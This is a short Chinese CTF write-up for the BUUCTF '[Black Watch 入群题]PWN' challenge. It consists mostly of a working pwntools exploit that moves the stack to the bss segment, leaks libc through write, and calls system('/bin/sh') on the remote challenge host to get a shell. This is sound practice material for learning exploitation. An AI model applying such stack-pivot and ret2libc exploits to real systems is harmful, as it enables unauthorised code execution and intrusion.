[Black Watch 入群题]PWN（栈迁移到bss）

from pwn import * 
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

ms = remote('node3.buuoj.cn',25353)
#ms = process("./spwn")
elf = ELF('./spwn')

bss_addr = 0x0804A300
lea_ret = 0x08048408
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x08048513

payload = p32(bss_addr+0x20)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
ms.sendafter("name?",payload)
payload1 = 'a'*0x18+p32(bss_addr)+p32(lea_ret)
ms.sendafter("say?",payload1)

write_addr = u32(ms.recv(4).ljust(4,'\x00'))
log.info("write_addr="+hex(write_addr))
libc = LibcSearcher("write",write_addr)
libc_base = write_addr-libc.dump("write")
system_addr = libc_base+libc.dump("system")
binsh_addr = libc_base+libc.dump("str_bin_sh")
log.info("libc_base="+hex(libc_base))
log.info("system_addr="+hex(system_addr))
log.info("binsh_addr="+hex(binsh_addr))

payload2 = 'a'*0x4+p32(system_addr)+'b'*0x4+p32(binsh_addr)
ms.sendafter("name?",payload2)
payload3 = 'a'*0x18+p32(bss_addr)+p32(lea_ret)
ms.sendafter("say?",payload3)
ms.interactive()

题目给了个bss段的写入和一个刚好到ret的栈。所以栈迁移到bss，之后构造write函数打出地址找libc（这里用puts没打出来，我也不知道为什么，所以不要拘泥于一个函数！！！！！思维要开放，多试试），再次迁移调用system getshell

详细解释看另一篇栈劫持